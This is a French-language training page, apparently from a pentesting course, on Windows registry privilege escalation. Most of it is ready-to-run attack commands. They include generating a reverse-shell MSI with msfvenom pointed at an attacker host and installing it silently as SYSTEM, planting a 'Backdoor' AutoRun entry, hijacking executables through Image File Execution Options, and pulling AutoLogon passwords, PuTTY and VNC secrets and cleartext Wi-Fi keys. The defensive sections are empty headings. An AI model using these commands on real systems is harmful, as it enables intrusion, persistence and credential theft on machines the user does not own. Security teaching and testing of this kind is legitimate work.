Attaques basées sur le registre

Exploiter les mauvaises configurations du registre Windows pour l'élévation de privilèges

Ce que vous allez découvrir

🔧 Essayez maintenant

Vérifiez si AlwaysInstallElevated est activé sur votre système :

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Vous verrez : Soit "ERROR: The system was unable to find the specified registry key or value" (non vulnérable) soit "AlwaysInstallElevated REG_DWORD 0x1" (vulnérable - les deux clés doivent être à 1).

Compétences que vous maîtriserez

Comprendre les attaques de registre

Le registre Windows est une base de données hiérarchique stockant la configuration système et applicative. Certaines clés de registre contrôlent des comportements sensibles à la sécurité - quand mal configurées, elles fournissent des chemins directs d'élévation de privilèges.

AlwaysInstallElevated

C'est l'un des vecteurs d'élévation de privilèges les plus fiables. Quand activé dans HKLM et HKCU, tout fichier .msi s'installe avec les privilèges SYSTEM - même exécuté par des utilisateurs non privilégiés :

# Vérifier les deux clés (LES DEUX doivent être à 1)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Si les deux retournent 0x1, générer un MSI malveillant :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f msi -o shell.msi

# Exécuter (s'exécute en tant que SYSTEM)
msiexec /quiet /qn /i shell.msi

# Ou avec PowerUp
Write-UserAddMSI
# Crée UserAdd.msi qui ajoute un utilisateur admin local

Clés de registre AutoRun

Les clés AutoRun exécutent des programmes au démarrage du système ou à la connexion utilisateur. Si vous pouvez modifier ces clés ou les binaires qu'elles référencent, vous obtenez la persistance et potentiellement l'élévation de privilèges :

# Emplacements AutoRun communs
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"

# Vérifier les permissions sur les binaires référencés
# Si le chemin du binaire est inscriptible, remplacez-le par votre payload

# Vérifier les permissions des clés de registre
accesschk.exe -kwuqsw "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# Si inscriptible, ajouter votre propre entrée
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\temp\shell.exe"

Credentials stockés dans le registre

Diverses applications et fonctionnalités Windows stockent des credentials dans le registre, parfois en clair ou dans des formats facilement réversibles :

# Credentials AutoLogon (peuvent contenir un mot de passe en clair)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultDomainName

# Sessions PuTTY enregistrées (peuvent contenir des credentials)
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

# Mots de passe VNC (stockés chiffrés mais facilement crackables)
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password
reg query "HKCU\Software\TightVNC\Server" /v Password

# Chaînes de communauté SNMP
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"

# Mots de passe des réseaux sans fil
netsh wlan show profiles
netsh wlan show profile name="NetworkName" key=clear

Outils et techniques

Fonctions registre de PowerUp

PowerUp fournit des fonctions spécifiquement pour les attaques basées sur le registre :

# Vérifier AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated

# Vérifier les credentials AutoLogon
Get-RegistryAutoLogon

# Trouver les entrées AutoRun modifiables
Get-ModifiableRegistryAutoRun

# Générer un payload MSI pour AlwaysInstallElevated
Write-UserAddMSI

Analyse des permissions du registre

Utilisez accesschk pour trouver les clés de registre inscriptibles :

# Trouver les clés de registre inscriptibles dans HKLM
accesschk.exe -kwuqsw "Authenticated Users" HKLM\SOFTWARE /accepteula
accesschk.exe -kwuqsw "Users" HKLM\SOFTWARE /accepteula

# Vérifier une clé spécifique
accesschk.exe -kwuqsv HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService /accepteula

# Clés à vérifier pour l'accès en écriture :
# HKLM\SYSTEM\CurrentControlSet\Services\*  (configurations de services)
# HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  (autoruns)
# HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options (détournement de débogueur)

Image File Execution Options (IFEO)

IFEO permet de spécifier un débogueur pour n'importe quel exécutable. Si vous pouvez écrire dans ces clés, vous pouvez détourner l'exécution de binaires système :

# Vérifier les permissions IFEO
accesschk.exe -kwuqsw "Authenticated Users" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"

# Si inscriptible, détourner notepad.exe (exemple)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\temp\shell.exe"

# Maintenant quand quelqu'un lance notepad, votre payload s'exécute à la place

Scénarios d'attaque réels

Contre-mesures défensives

Questions fréquemment posées

🎯 Attaques de registre - Conquis !

Vous comprenez maintenant comment exploiter les mauvaises configurations de registre pour l'élévation de privilèges. AlwaysInstallElevated, les clés AutoRun et les credentials stockés sont des vecteurs d'attaque puissants qui apparaissent fréquemment dans les environnements réels.

Prêt à apprendre l'usurpation de tokens →